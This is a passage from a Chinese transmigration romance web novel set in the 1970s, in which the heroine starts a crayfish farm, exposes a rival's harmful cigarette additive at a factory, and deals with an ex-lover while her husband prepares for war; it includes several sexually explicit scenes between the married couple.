觅婉婉:“别急呀,等晚上,我们去小溪里找到虾苗才能放进去。”小龙虾的虾苗喜欢晚上出没,尤其在水草丰盛的地方。
“这没问题,你们两个年轻姑娘晚上上山不方便,爱云在这里守着鸡,我跟你们一块去找。”王正清提议道。
对于这个方案,觅婉婉表示赞同。
既然晚上要上山捉虾苗,觅婉婉就没在山里逗留,打算先下山好好休息一段时间。
下山的时候,觅婉婉无意间发现一大片紫红色的石竹花,五枚花瓣舒展,边缘呈细密的锯齿状,在紫红色的花瓣上镶嵌着浅浅的一层白色,精致如蕾丝,如同被精心剪裁过一般。
这份由大自然精心调制的色彩瞬间就打动了觅婉婉,她小心地挖出几株石竹花,打算移栽到院子里。
最重要的是,石竹花用在香烟的包装上最合适不过了。色彩足够艳丽又不失优雅,也能轻易跟市面上其他的香烟区别开来。
解决了徘徊在心头好多天的难题,觅婉婉带着花高高兴兴地下了山。
“咦,你回来啦?”谢宴清正在院子里等她,觅婉婉看见人后,毫不犹豫地扑进人怀里。
待到鼻尖传来熟悉的气息,觅婉婉才反应过来,这是在外面呢,于是害羞地想要睁开,却被人牢牢搂住。
“我每天都在想你,你呢,有没有想我?”谢宴清清冷又带有磁性的声音在觅婉婉耳边响起,带着显而易见的蛊惑。
他很少有这样直白的时候,尤其是在感情表达这一方面,觅婉婉胸中揣着只小兔子一般,心脏扑通扑通地跳。
“想。”觅婉婉小声地回答,抬头,只看见他白皙光洁的脖颈上,凸起的喉结。
接着,觅婉婉做了一个大胆的举动,轻轻咬了一口那块凸起的白包,如愿以偿地听到男人的呼吸瞬间变得粗重。
45. 放松
谢宴清一把抱起觅婉婉,进了房间后,轻柔地将觅婉婉放在床上。
最后的耐心用尽,谢宴清飞速地剥了觅婉婉身上的衣服,急切地吻着她。唇舌搅动间,觅婉婉紧紧地搂住谢宴清的脖子。
他的吻很快往下游走,迅速找到觅婉婉难以忍受的地方,反复琢磨。觅婉婉难以抑制地发出破碎的呜咽声,却半点不想阻止。
脑海中的思念如潮水一般泛滥在身体中,她现在只迫切地想跟谢宴清贴近一点,再贴近一点......
放纵一头饿狼的后果,是谢宴清毫不留情地啃噬着为他绽放的花朵。觅婉婉想阻止已经来不及了,只能小声地哀求:“不要,没洗澡,脏。”
沉浸在美味中的饿狼此时是没有人性的,自然不会听她的哀求,更加无所不用其极地吞噬着娇艳的花朵。
“.......谢宴清,你真是个变态。”觅婉婉没什么气势地骂他.
谢宴清百忙之中抬起头,舔了舔嘴角,认真回答:“嗯。”
“谢宴清,”觅婉婉难以忍受地捂住了眼睛,“你犯规...呜呜...”
折腾了半天,觅婉婉虽是睡了一觉,身上却酸痛地很,晚上扶着腰出门。
“我和你一起。”谢宴清上前扶着她说。
觅婉婉瞪他一眼,“都怪谁呀。”
餍足的谢宴清很好说话,在她面前蹲下,神色全是温柔,“我背你上山。”
谢宴清只要温柔一点,觅婉婉就对他没有抵抗力,顺从地趴在他的背上。
等在山上的王家三口远远地看见他们,章爱云忍不住打趣说:“老王,你看看人家小谢,多贴心,哪像你年轻的时候。”
恋爱的甜蜜味让人心情愉悦,王正清没有反驳妻子,只是露出个微笑。王桂苗则是在心里想,她以后找对象,就要找一个互相喜欢的,多美好呀。
觅婉婉不知道他们都已经看到了,临到养殖场的时候,对谢宴清说:“你放我下来呀,被他们看见多不好。”
谢宴清现在就是最听话、忠实的狼狗,依言放下了觅婉婉。
五个人碰面后就去山上的小溪旁捉虾苗,当然,去的不是难以直视的那个山谷,而是另外一片觅婉婉观察过,有比较多小龙虾虾苗的地方。
小龙虾的繁殖能力强,加上现在除了他们,没人吃,五个人轻轻松松捡够了虾苗,放进荷塘中。
接下来,只要等就够了。小龙虾一直是很好养的,只要荷塘里的小龙虾数量不会太多,导致缺氧,他们就会自己长大。
从山上下来之后,觅婉婉洗了个澡,躺在床上,很快就进入梦乡。迷迷糊糊之中,觅婉婉感觉谢宴清把自己抱在怀里。
她也不排斥,转动几下,找了个舒服的位置,抱着谢宴清继续进入梦乡。
诸事如意的时候,总会发生点不如意的。觅婉婉刚来到卷烟厂,就面临厂里几位大佬的争锋。
“觅婉婉一个刚进厂半年的工人,把评吸大会这么重大的事情交给她,未免也太草率了。”说话的是副厂长郑鸿儒,降薪事件结束,他从医院回来了。
刘为民轻哼了一声,“郑厂长身体不好,还是少为厂里的事情操劳,免得又进了医院。”
话里的讽刺明明白白,郑宏儒气得身体颤抖,“刘为民,你要不做出这么离谱的事情,我能操劳?”
翟良策头疼道:“你们都是卷烟厂的老人了,闹成这样,像话吗?”
“我不管,香烟评吸大会是大事,事关我们溪城卷烟厂未来的销量,凭什么由他刘为民一个人说了算?”郑宏儒梗着脖子说。
“那你要怎么办?”翟良策问道。
郑宏儒:“刘老有看好的人,我也有。我提议,让觅婉婉跟叶芳菲都做一批香烟出来,让大家评评,到底谁做的好,就由谁负责制作香烟评吸大会的香烟。”
刘为民简直要被他气笑了,“你刚刚说什么来着,说我把这么重大的事情交给刚进厂不到半年的觅婉婉,草率?那叶芳菲呢,她在厂里的时间比觅婉婉更少吧。”
“是啊,既然如此,我也选个刚进厂不久的,这样才公平。我就是要个公平,翟厂长,没问题吧?”郑宏儒理所当然地说。
翟良策思索片刻,做了决定,“行,就按照你说的半。一个星期后,进行公开的评选,谁的香烟做的好谁上。”
叶芳菲自信地朝觅婉婉一笑,胜券在握的样子。
觅婉婉心中那股怪异的感觉又浮了上来,她忘了打电话问鸿晖,蔡高进是怎么回事了。
“婉婉,你不用担心,放心地去做吧。不说叶芳菲进厂的时间没你久,她进厂之后的工作态度,我是看在眼里的。压根就没正经地上过几天班,郑宏儒这就是单纯跟我置气呢。”刘为民看事情没有转圜的余地,安慰觅婉婉说。
“刘老,您放心吧,我一定按流程把香烟做好。”觅婉婉直觉郑宏儒恐怕不是为了置气,叶芳菲真的有什么本事才对,只是这些玄乎又玄的事情,是不能对刘为民说的。
经过一段时间的反复练习,觅婉婉对香烟的制作过程已经很熟练了,她有信心可以做出上好的香烟。
只是叶芳菲也很有信心的样子,觅婉婉百思不得其解,叶芳菲的自信从何而来。比起这个,觅婉婉更担心的是,叶芳菲有什么邪乎的手段可以对付自己和谢宴清。
毕竟,之前叶芳菲明显就是在逼迫自己走剧情。
临近出任务,谢宴清的训练任务很重,不能每天都来接觅婉婉下班。
下班之后,觅婉婉直接骑着自行车上磨盘镇,给觅鸿晖打了一个电话。
觅鸿晖接到觅婉婉的电话,两人互相问候一番,喜悦通过电话线传递着,“姐,你今天怎么打电话过来了?以前我们都是写信,是不是有什么紧急的事情?”
觅婉婉:“也没什么大事,以前的事情,我有点记不清了,想问问你,你知道蔡高进吗?”
“知道呀,我们村子哪个不知道蔡知青呢。说起来,姐你之前可喜欢他了。蔡知青走的时候,你追了他十几里路,我追了你十几里路,累死我了。”觅鸿晖叽里呱啦一通说。
“......”觅婉婉沉默片刻,又问道:“那个,我们没发生什么吧?”
“那当然!”觅鸿晖笃定
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的声音从电话里传过来,觅婉婉刚松下一口气,听到觅鸿晖接下来的话,差点一口气没上来。
“你们也就拉了个小手,亲亲抱了一下,仅此而已!”
拉了个小手?亲亲抱了一下?仅此而已?
你要不要听听你在说什么啊?
觅婉婉一个头两个大,“好了好了,先说到这里吧,我还得赶回家呢。”
“对了,明年的高考,你提前准备一下。”觅婉婉觉得快到时候了,高考的风,应该吹到溪城和觅鸿晖所在的川省,这些相对偏远的地方。“你可以保留职位去深造,读了大学,你以后的职业发展,跟你现在,完全是两个世界。”
姐弟两个都是读了高中生的,七十年代的高中生,已经属于高学历人才。觅鸿晖自然清楚觅婉婉说的是什么,激动道:“姐,真的吗?我们都可以考大学了?”
觅婉婉的心情又轻松起来,“是啊,我们可以考大学了。鸿晖,你要选一个你喜欢的学校和专业去读啊。”
“嗯,姐你也是......”
电话费贵,两个人简单说了一下考大学的事,便没有再多说。
挂了电话之后,觅婉婉的心情又沉重起来,原身跟蔡高进,真的谈过恋爱。
换在前世,风气开放的时候,这自然不算是什么事。可放在现在,事情就完全不一样了。
真算起来,跟蔡高进谈恋爱的也不是自己,但说出去,谁信呢。
“婉婉!”
觅婉婉听到一道男声叫自己,暗道不好,骑上自行车就跑。
男人却穷追不舍,很快就追上觅婉婉,拉住她的自行车车把,“婉婉,才过了几个月,你怎么变得如此无情?”
觅婉婉打量着车身前的男人,五官端正,样貌清秀,气质算儒雅,在村里确实算不错。
可是,跟谢宴清没法比啊!就算她靠着原身得以重活一次,也不能睁眼说瞎话。
“婉婉,虽然你结婚了,但是我...”蔡高进深情地看着她,面露痛色。
哎~别这么看着我,我不是那个“婉婉”啊,觅婉婉头皮发麻,当场石化。
“既然知道她结婚了,就应该自觉滚远一点。”谢宴清不知道什么时候走到觅婉婉身边,表情冷的吓人。
他一身气势威猛又阴沉,眼神冷冽地能冻死人,蔡高进被他震慑地退后了几步。
觅婉婉看看谢宴清,又看看蔡高进,尴尬地想找个地洞钻进去。
“那什么,我跟他没什么。”胡思乱想间,觅婉婉本能地和谢宴清解释。
谢宴清的神色明显地缓和下来,握住她的手,“嗯,我们回家。”
“什么没什么?”蔡高进见他们竟然完全忽略了自己,大声道,“我们在河边牵手散步,在玉米地里拥抱接吻,这叫没什么?!”
觅婉婉一个没站稳,直接从自行车上摔下来,谢宴清拦腰抱住她。
三人场面死一般地沉寂,蔡高进狠狠地瞪着谢宴清,谢宴清冷冷地回视,手紧紧地抓着觅婉婉的腰不放。
“那个,”觅婉婉艰难出声,“谢宴清,你手先放松点。”
46. 玩法
谢宴清铁青着脸放了手,眼睛死死盯着蔡高进,仿佛盯着一个死人。
话已经喊出来,蔡高进没有往后退的道理,昂着头,视死如归站在那里。
“蔡高进,你来找我,是为了什么?”觅婉婉看向面前站着的男人,目光犀利,似乎能轻易看穿任何伪装。
蔡高进被她的目光看得差点败露,咬咬牙,露出深情款款的模式,“婉婉,丰村一别,我从没忘了你。我原以为时间能冲淡这份思念,谁知道随着时间的积累,我对你的感情越发浓厚。这才不远赶过来,想看看你过的好不好。”
他口中的深情半点不达眼底,觅婉婉心中了然,此事其中另有隐情,“我过的很好,既然你只是来看看我,那么,你可以回去了。”
“他这个样子,如何能对你好。婉婉,你别骗我了,我的心......”蔡高进着急地说,他越说,谢宴清的目光越冷。
“是你在骗我,你根本对我没感情。否则,刚才你不会当街喊出那样污我名声的话来。难道你不知道你刚才的话,被别人听见,伤害有多大吗?”觅婉婉一阵见血地指出问题,更别说,他重提旧情,必然会让谢宴清误会,夫妻不睦。
这样的行为,却口口声声说自己有多深情,简直可笑。
“我们是真心相爱的!婉婉,你不必在意世俗的眼光,只要你跟我走,啊......”蔡高进的话还没说完,就发出一声惨叫。
谢宴清忍无可忍地抓住他的手臂,向后一扭,如同来自地狱的修罗一般,恶狠狠地警告他:“我不管你抱着什么目的来接近婉婉,她是我的妻子,你再敢污蔑她的名声,或是动她一根毫毛,我保证你这只手再也回不到原位。”
蔡高进痛的嗷嗷直叫,好几分钟后,谢宴清才放开他的手,骑自行车载觅婉婉回去。
望着两个人远去的身影,蔡高进阵阵后怕,这两人,跟他预想中的完全不一样。不行,他得找人加钱去。
一路上,谢宴清和觅婉婉都没有说话,沉默地回到家,沉默着吃了饭,再沉默的洗漱、上床睡觉。
“我跟蔡高进,那都是以前的事了,现在和以后,我都不打算跟他有任何关系。”对于矛盾,觅婉婉喜欢速战速决,尤其是夫妻之间的矛盾,她不想留着过夜。
之前一直没开口,一是不确定谢宴清的想法,二来她也不确定原身跟蔡高进发展部到哪一步了。今天听蔡高进那么说,觅婉婉心里有点打鼓。
谢宴清侧过头,认真地看着她,“如果我被部队开除,一无所有,你会跟蔡高进私奔吗?”
“什么?!”觅婉婉蹭的从床上做起来,惊讶地看着谢宴清,“你...你你你,你说什么?”
因为太过震惊,觅婉婉说话都结结巴巴。
“我说,如果我一无所有,跌落泥潭,你会在我身边吗?”谢宴清也坐起身,一句一句地问觅婉婉。
他过于认真的神色反而让觅婉婉冷静下来,她端详着谢宴清,忍不住笑起来,“怎么,你怕我抛弃你?”
谢宴清的脸色变黑,“哀怨”地看着满脸笑意的觅婉婉。
“好啦好啦,你要是被部队开除了,我的草药种植事业和养殖事业,就都交给你管,你可要把它们发扬光大哦。”觅婉婉盘算着,目前手上这几样,都是发财的路子。
加上前途一片光明的谢宴清,说不定她可以躺得更彻底,做大佬身后的女人。
谢宴清的目光一片柔和,“你就知道,我能做的好?”
“你肯定能做好呀!”觅婉婉理所当然地说,书中谢宴清被部队开除后,就是去创业,取得惊人的成就。
这些日子以来,觅婉婉不是没有想过,问问谢宴清以后的打算。可她观察下来,谢宴清训练用功,出任务表现优秀,明显是喜欢军人这份职业的,觅婉婉也就没再问了。
私心里,觅婉婉更希望原书的剧情不再出现,谢宴清可以一直做他喜欢的事情。顺便当个大官,给她遮风挡雨就更好了。
“我做了一个梦,梦见我们这次的战争,打的格外惨烈。很多战友牺牲了,我因为犯错被部队开除......然后,在我最落魄的时候,你跟人私奔了。”谢宴清的目光飘向桌上的红烛,蜡烛正落下泪来。
他梦见了原书的剧情,这些事情现在都没有发生,觅婉婉却在谢宴清的眼底看到了真实的悲伤。
“婉婉,”谢宴清揽着她躺下,又双手撑在她的头顶,覆在她身上,近乎贪婪地看着她。“我不爱向人倾吐心事,今天却迫不及待地告诉了你这些。”
“我真是,”谢宴清轻轻地吻上她的红唇,旋即离开,“爱惨了你。”
不...不是,怎么突然就切换模式,深情表白了呢,觅婉婉在他的注视下,小脸迅速红成番茄。
眼前的男人俊美无双,表露深情地时候,带点灰色的眼睛纯净无暇,格外吸引人。觅婉婉凑上前,吻了一下那双眼睛的眼角,“谢宴清,你梦见的这些事情,都不会发生的。”
谢宴清轻笑一声,“是。”
缠绵悱恻间,觅婉婉红着脸喘气,“以前的事...我记不太清了,我现在就担心,我以前不会被蔡高进这狗咬了一口吧?”
埋首在她胸前的男人抬起头,定定地看着她:“没有。”
“哦,”觅婉婉立马放下心来,没有就好,随即又疑惑道:“你怎么知道的?”
她前世是个母胎单,来到这里之后也只接触过谢宴清一个男人。小说里,女人第一次都是有落红的。但觅婉婉接受过卫生普及教育,知道并不是所有女人第一次都是有落红的。
因此,第一次跟谢宴清做那时,觅婉婉没有落红,她也不以为意。
可今天冒出来个蔡高进,说他们钻过玉米地,就算那会儿觅婉婉没穿过来,她也膈应地很。这人分明不是什么好东西,被这样的狗咬过一口,多少有点恶心人。
尤其是蔡高进不分场合地到处说,万一他以后拿这个事
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来要挟自己怎么办,觅婉婉忧心地想。
“噗嗤~”谢宴清头埋在觅婉婉的玉颈边,发出一声闷笑。
“你笑什么?”
谢宴清顺着玉颈往上走,寻到白皙的耳垂,用舌尖逗弄一番后,贴在觅婉婉的耳朵上说:“婉婉,今晚,你上来自己动,我就告诉你,我怎么知道的,好不好?”
说完,不等觅婉婉回答,伸出舌头,猛地刺进觅婉婉的耳朵。
“啊!...谢宴清,你...呃...你做梦......”觅婉婉被他这个举动弄得尖叫一声,而后极力克制,不愿出声。
她捂住嘴巴,细碎的呻/吟从她的手中溢出,惹得身上的人更加情动。
床上一片凌乱,被褥和枕头都移了位,谢宴清锲而不舍地在觅婉婉耳边引诱,“婉婉,我们换一个玩法。你叫出声来,叫大声一点,我就告诉你。”
觅婉婉被他弄得头晕脑胀,身子骨都要散架了,却控制不住身体深处泛起的一阵阵、令人头皮发麻的愉悦。
她羞耻地不行,偏偏这人还不断地使坏,觅婉婉恼羞成怒地拿起手边的枕头砸过去,“我不想知道了。”
一枕头砸过去,原本不停作妖的人突然不动了,觅婉婉艰难起身,“你没事吧?”
她也没用力呀。
谢宴清躺在一边,有气无力道:“头晕。”
“晕你个头,”觅婉婉红着脸,嗔怪说:“你就是想让我在上面。”
一向清冷端正的谢宴清,斜斜地躺在床上,发丝凌乱,丹凤眼勾人摄魄,嘴角含笑道:“那你上不上来?”
觅婉婉的浑身的血液都被点燃,她压了又压,体内的火焰却越烧越旺。
对方很有耐心,始终噙着笑意看她。觅婉婉闭上眼睛,认命地坐了上去......
这样的夜晚,之前有过很多次,不知为何,觅婉婉觉得这一夜,他们格外亲近,也格外愉悦。
深夜,大院顾家,此时正乱作一团。
“大战在即,你们却想临阵脱逃,做逃兵?我们老顾家三代没一个孬种,你们疯了?”顾大勋痛斥站在客厅的母子两。
起因是孙云得知了马上要打仗的消息,加快运作,想让顾宁阳回省城的机关单位去。听到消息的顾大勋自然怒不可遏,深夜回到家便发作起来。
“你也知道你们家三代都为国牺牲,那么现在,我想保全我唯一的儿子,又有什么错?”孙云这些年来周旋在各种大人物中间,早就不怕顾大勋了。
关于让顾宁阳回省城的事情,他们夫妻俩爆发了无数次战争。顾大勋知道妻子这回是铁了心,转而问顾宁阳:“你呢?你也想做逃兵?”
如果有选择,顾宁阳更想回省城的机关单位,但此时盯着父亲要吃人的目光,顾宁阳不敢说出自己的真实想法。
“爸,强扭的瓜不甜,你让宁阳自己考虑一下吧。”白霜儿听到动静,穿着睡衣从卧室出来,对争执不下的三人说道。
47. 晚餐
按照顾宁阳的真实意愿,他肯定是想回到省城机关上班。
但看他爸这个样子,顾宁阳要是敢说出真实想法,他爸一定打死他。
在顾大勋的心中,即便这十年来毫无建树,甚至被打压,国也是永远大于家的。
上二楼回到卧室,顾宁阳看见白霜儿开着台灯,坐在桌前奋笔疾书。
“白霜儿,你为什么这么拼命?”顾宁阳忍不住问她。
他们两个是因为意外结婚,刚开始的时候,互相讨厌。
经过几个月的相处,渐渐产生好感。前段时间,顾宁阳更是发现,自己很久以前就喜欢白霜儿了。
如果不是喜欢她,顾宁阳不会一而再、再而三地招惹对方,更不会想尽办法去见对方。
白霜儿关掉台灯,转过身正襟危坐,“我想参加明年的高考,在复习。”
“哦。”顾宁阳应了一声后,场面陷入沉默。
“如果你不高兴的话,我们可以离婚。”白霜儿身侧的两只手紧紧揪着白色的棉布,豁出去地说。
“什么?!”顾宁阳大吃一惊,慌慌张张地说,“你去高考,跟离婚有什么关系,为什么这两件事情要混为一谈?”
白霜儿揪着衣服的手放松下来,“我以为,你会不愿意。”
因为村里和白霜儿差不多年纪的女孩,走的都是相同的道路。结婚、生子、生完一个又一个,然后再耗费所有的精力在丈夫和孩子身上。
她不觉得自己跟别人有什么不一样,唯独运气好而已。结婚后有了工作,这份工作还恰恰是自己喜欢的。
丈夫和公婆也不同于村里人一样,要求她结婚后就不许工作,一心一意地相夫教子。
可白霜儿不确定的是,他们的宽容到底能到哪一步。
她唯一可以确定的是,她要参加高考。这个大学,她必须上,哪怕是以离婚为代价。
觅婉婉说的对,人生从来不是单行道,以后有更加广阔的天地等着自己去探索。
“那个,你要是考上大学,我和我爸妈都会很高兴的。你可是我们家第一个大学生呢,我们砸锅卖铁,也会支持你读书的。”顾宁阳急得直挠头,急切地表达,“总之,完全没必要离婚。”
白霜儿忍不住笑,“嗯,谢谢你支持我。我再温习一会儿功课,你先睡。”
“哦。”顾宁阳躺在床上,看着在台灯前努力的妻子,久久未能入睡。
他原先一心想回到省城,是为了跟谷双玉在一起。可现在,他已经和白霜儿结婚,暂时在这呆着也挺好的,加上他爸一副要吃人的样子,顾宁阳心中的天平很快就有了倾斜。
部队在紧锣密鼓地训练,准备出征;卷烟厂以觅婉婉和叶芳菲为代表,剑拔弩张,这周六就要见真章。
刘为民这段时间调动了所有的资源帮觅婉婉制烟,偶尔在车间指导一下觅婉婉。其他的,他并不太多干涉,他对觅婉婉有信心。
周六转瞬而而至,觅婉婉给自己制作的香烟取名为石竹香烟,包装盒上的紫红色石竹花是她亲手画的样。
除此之外,卷香烟的纸是觅婉婉托杨月苓从广市买回来的,上面印刷了细碎的紫红色花朵。包装只是点缀,觅婉婉更多地心思花在香烟的工艺上。
刘老管理的车间在工艺上都不含糊,觅婉婉却仍旧每一道工艺都亲力亲为,从烟叶初烤到包装,皆是细细打磨过的。
卷烟厂两百多号人齐聚在礼堂,都在讨论谁会赢得这场比赛。表面上看,这是觅婉婉和叶芳菲的斗争。实际上,明眼人都看得出来,这是卷烟厂内部,以刘为民和郑宏儒为代表,两大势力的斗争。
工人们大多现实,谁赢了就跟谁干呗,总归是为了更好的生活。
石竹香烟一上场就引发热烈的讨论,全因颜值太过出众。
“嚯,这不是山里的石竹花么,在咱们香烟的包装上真好看。”
“是啊,那滤嘴也不同凡响,金光闪烁的,配上小小一朵的花,看着就上档次。”
“光好看又什么用,香烟最重要的是什么,是味道。”站在郑宏儒那一派的工人不少,立马就有人站出来反驳。
“就是,净整这些花里胡哨的东西,有什么用?咱们还是品了味道,再见真章吧。”
......
工人们众说纷纭,觅婉婉坦然以对,她不参与权利斗争,只用心做好自己手上的事情。
厂长翟良策和副厂长郑宏儒坐在最上面正中间的位置,其余的厂领导在他们左右两边依次排开。
接着,他们分别品尝了觅婉婉和叶芳菲做出来的香烟,交头接耳,热烈地讨论着什么。
足足讨论了半个小时,翟良策站起来宣布:“关于谁制作的香烟更优秀,我们需要时间决定,大家先散了吧。”
“叶芳菲,觅婉婉,你们拿着对方的香烟回去互相学习一下。”翟良策对叶芳菲和觅婉婉单独说道。
叶芳菲昂着头上前,像只威风凛凛的雄鸡一样走上前,接过觅婉婉做的香烟,随手就揣兜里。
拿到叶芳菲的香烟后,觅婉婉回到车间,拆解后仔细查看。她发现叶芳菲做的香烟,其他地方都普普通通,没有什么出彩的,唯有味道这一块。
香烟中有一股极其吸引人的香味,闻着甚至让人陶醉,觅婉婉直觉这不是加了什么好东西。
“婉婉,你去哪儿?”
刘为民刚过来,想找觅婉婉看看叶芳菲的香烟,就看见她要往外走。
觅婉婉知道他的来意,拿了几支香烟给刘为民,“刘老,我想找人帮我看看这香烟,出去一趟。”
事情紧急,觅婉婉顾不得太多,骑上自行车就往镇上的公社医院跑。
磨盘镇公社医院,白霜儿听到觅婉婉来找自己,吓了一跳,以为她生什么病了,连忙出去见她。
觅婉婉不好意思地说:“我想让你帮我看看这烟里加了什么,会不会对人的身体有害?”
白霜儿不敢大意,拿着香烟回去做检验,觅婉婉就在门外的走廊上等她。
过了几分钟,走廊左边过来一个穿着小白裙,容貌雅致的女子,看见
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觅婉婉,脸上露出显而易见的惊讶。
感受到对方的目光,觅婉婉回望,发现这不是书中很久没出现的,心机女配林溪吗?
林溪露出一个人畜无害的笑容:“觅婉婉同志,白霜儿在吗?”
“她在忙,有什么事,你就等着吧。”对方笑得再无辜,觅婉婉也不会信的。
林溪脸上的笑容僵硬了一下,“我找她,是有很紧急的事呢。马上要打仗的事情,你作为军属,应该也知道吧。”
“阳哥哥想要回省城机关,她不帮忙,反而横加劝阻。哪有盼着自己的丈夫上战场的,你说呢?”
觅婉婉疑惑反问:“所以,这跟你有什么关系呢?”
林溪的笑容全部垮下来,“我...我只是个好心人。”
“哦,”觅婉婉脸上大写的不相信三个字,却没有明说,“我只能劝你别那么好心了,不然,外人会说你惦记别人家丈夫哦。”
“你!”林溪被戳中痛点,恼羞成怒,“你别得意,一个月后,你就会死地很惨。”
她特意在死字上加重了声音,像是确定觅婉婉一个月后就会死。
觅婉婉轻笑一下,“林小姐,你有没有听过一句话,我命由我不由天。”
“你且看着,你的命由不由你。”林溪留下这句话,袅袅婷婷地走了。
她这个样子,倒是跟叶芳菲很像。不过,觅婉婉不会问她们什么。在局势不明朗的时候,最重要的,就是不能跟着对方的思维走。
况且,她来到这里之后,很多事情都改变了。觅婉婉有信心,她和谢宴清的命运,绝不会跟着原书的剧情走。
“你发什么呆呢?”白霜儿走出实验室,看见觅婉婉站在走廊上发呆,问道。
觅婉婉回过神,“怎么样?”
“这烟中的香味,是因为添加了一种化学剂,长期吸入的话,不仅能会对呼吸系统有害,还会导致头痛。至于更具体的,要拿样本去大医院检查才行。”
果然如觅婉婉所料,叶芳菲总共在卷烟厂没呆几天,想要获胜,只能剑走偏锋。
回到卷烟厂,觅婉婉立即将这件事情告诉了刘为民。
“真是岂有此理,这是不拿人命当回事。这样的烟要是出去了,溪城卷烟厂非得关门不可。”刘为民愤愤不平,“为了争权夺利,这些人真是一点下限都没有了!”
管理层的事情交给管理层办,这件事情交给刘老办,最稳妥不过了。
到了下班时间,好几天没来接她的谢宴清竟然过来了。
“部队十天之内就会出发,特意给我们放了假。”回去的路上,谢宴清对觅婉婉解释。
觅婉婉搂在谢宴清腰间的手紧了紧,“我会想你的。”
过了一会儿,觅婉婉发现他走的不是回家的路,“我们去哪儿?”
谢宴清带她去了镇上的国营饭店,点了宫保鸡丁、麻婆豆腐和炒青菜,还点了个硬菜土豆炖牛肉。
光是看着就让人食指大动,觅婉婉吃饱了才想起来问,“这不会是最后的晚餐吧?”
48. 孤独
“不会,”谢宴清失笑,“我和顾叔叔他们已经做好了预案,根据地形和可能遇到的困难做了两手准本。”
觅婉婉放下心来,“那么,我们先好好享受假期先。”
睡前,谢宴清讲了很多关于对这次战争的准备,想让觅婉婉安心。
“现在我唯一担心的问题,就是供给方面的。虽然说我们采取了分散、小型多批次的供给站模式。但是,由于地势和丛林的问题,只靠身上那点干粮,恐怕......”
觅婉婉思考片刻,提出建议:“既然如此,你们身上可以带点别的。比如野果干呀,它们糖分高、热量也高,用来补充体能最好不过了。”
“靠山吃山嘛,山上的杨梅正是收获的时候呢,还有覆盆子、野猕猴桃、山杏、野樱桃、野山楂......”觅婉婉一样一样地数着。
她越数,谢宴清的神色就越凝重,“离出发不足十天,我们来不及晒野果干。”
“这个简单,且不说部队自己有建食品厂,像我们卷烟厂什么的,都有烘干机。如果能有人组织调动一下,加急生产,可以赶一批出来的。”觅婉婉在烘烟叶的岗位上干了好一段时间,清楚其中门道。
谢宴清从床上一跃而起,“我这就去找顾叔叔,你先睡。”
直到第二天,谢宴清依旧没有回家,觅婉婉猜测他们应当是去忙野果干的事情,于是自己搭了去省城的车。
今天是杨月苓的服装店开店的日子,觅婉婉作为股东,自然要去参见新店开业模式。
等觅婉婉到的时候,服装店门口已经围着满满当当的人,全是被店里店外一排排款式新颖的衣服吸引过来的。
“月婉服装店开业大吉,七天内进店购买衣服的,一件七折,两件六折,三件五折,大家快进店选购吧~”
为了能让杨月苓能抽出更多的时间去广州选产品,觅婉婉跟杨月苓商量着招了两个导购,制定了促销活动。
杨月苓现在虽然不是恋爱脑了,但大小姐脾气一点没改,让她去做服务人的活,杨大小姐肯定要掀桌子的。
她就爱买买买,经常去广市买买买,更符合她的人设。
“婉婉,你什么时候有空呀,本小姐带你一起去广州潇洒。”店里客似云来,杨月苓却不无遗憾地说。
觅婉婉:“等再过一段时间,等我能休年假了,我们就一起去。”
工龄满一年的职工才能休年假,杨月苓撇撇嘴,“照本小姐说,你那工作不要也罢,大不了服装店挣钱后,本小姐多分你一点钱。”
对此,觅婉婉笑笑不说话。她知道杨月苓大方,不会骗她,服装店也能挣到钱。
可觅婉婉心中清楚,她现在能想出这么多法子挣钱,一方面是得益于前世受到的教育,加上知道原书时代的走向。
更重要的是,前世浸淫职场多年,带给她的职业能力和赚钱能力。
靠着这些,觅婉婉可以在这里四处开花,获得先机,赚取比前世更多的钱财。但觅婉婉并不想因为这样就止步不前了,她想探索更多的可能性,就当是丰富一下人生体验吧。
服装店里一切运行正常,觅婉婉吃过午饭便坐车回了家。没想到谢宴清竟然在家,看见她回来,罕见地笑着把她抱起来转了几个圈。
附件几家婆婆媳妇看见了,忍不住捂嘴偷笑。
觅婉婉害羞,却因为难得见谢宴清情绪外放,不忍拒绝他,“发生什么事了?你这么高兴?”
谢宴清放下她,“果干的事情解决了,有了野果干,就算遇上突发事件,也能多撑一段时间。”
“那可真好。”觅婉婉被他的喜悦传染,不由自主地开心起来。
希望此战谢宴清、和谢宴清一起作战的战友们,因为这些不同的机遇,不必再遭受原书一样的经历。
令人意外的是,叶芳菲的处理结果下来地很快。第二天上班的时候,觅婉婉就听说,叶芳菲被厂里开除了。
这可是个绝无仅有的大新闻,国营的厂子,除非犯了什么惊天动地的大事,否则,最多降个几级,绝不会走到开除这一步的。
而坚持这么做的,是翟良策。“你们觉得这件事情小吗?我觉得一点都不小,如果不是觅婉婉同志发现了这件事情,我们厂大量生产这种香烟,把人给吸出问题了呢,你们还觉得这件事情小吗?”
昨天,厂里的领导连夜开会讨论怎么处理这件事情,翟良策的三连问让在场的领导全都沉默了。他们再怎么不作为,也知道生命健康无小事。
叶芳菲临走的时候,红着眼睛来找觅婉婉,“你的好日子,马上就要结束了!”
丢下这句话,叶芳菲就急匆匆地走了,留下觅婉婉在原地莫名其妙。
说是莫名其妙,觅婉婉心中多少也有数,叶芳菲和林溪,说不定和她一样,知道原书的剧情。
可那又怎样,书是死的,人是活的。她和谢宴清都是活生生的人,凭什么就非要按照原书的剧情走?
况且,觅婉婉是真想不明白,叶芳菲既然有点本事,为什么要嫁二婚的姚大勇,给人当后妈,婆婆也恶毒。
家属大院,叶芳菲回到家一说被辞退的事情,宋春喜发了活,“你怎么那么没用,上个班还能被开除。你没了工资,就靠着我儿姚大勇一个人,怎么养活两个孩子?”
提到两个孩子,叶芳菲心里窝的火就憋不住了,“那又不是我的孩子,怎么养是你们家的事,关我屁事!”
跟婆婆吵了一架之后,叶芳菲气呼呼地收拾包袱,直接回娘家去了。等到晚上姚大勇回到家,宋春喜就跟儿子好一通辱骂叶芳菲。
“我说儿啊,过两天你还是把人家哄回来吧。红桃那个死丫头,现在主意大,搬去了宿舍,家里家外就我一个人,哪忙得过来。”骂到最后,宋春喜又说。
姚大勇心里烦躁地要命,却不敢对老娘说什么,只好按照宋春喜的要求去做。
等他好说歹说,把叶芳菲哄回来之后,叶芳菲天天在他耳边念叨:“这次任务是你立功的大好机会,你一定要按照我说的去做,把握好机会,建功立业。”
姚大勇却觉得有点不对劲,“这段时间部队又找了人做野果干,我怎么觉得这次任务情况,跟你说的不一样呢?”
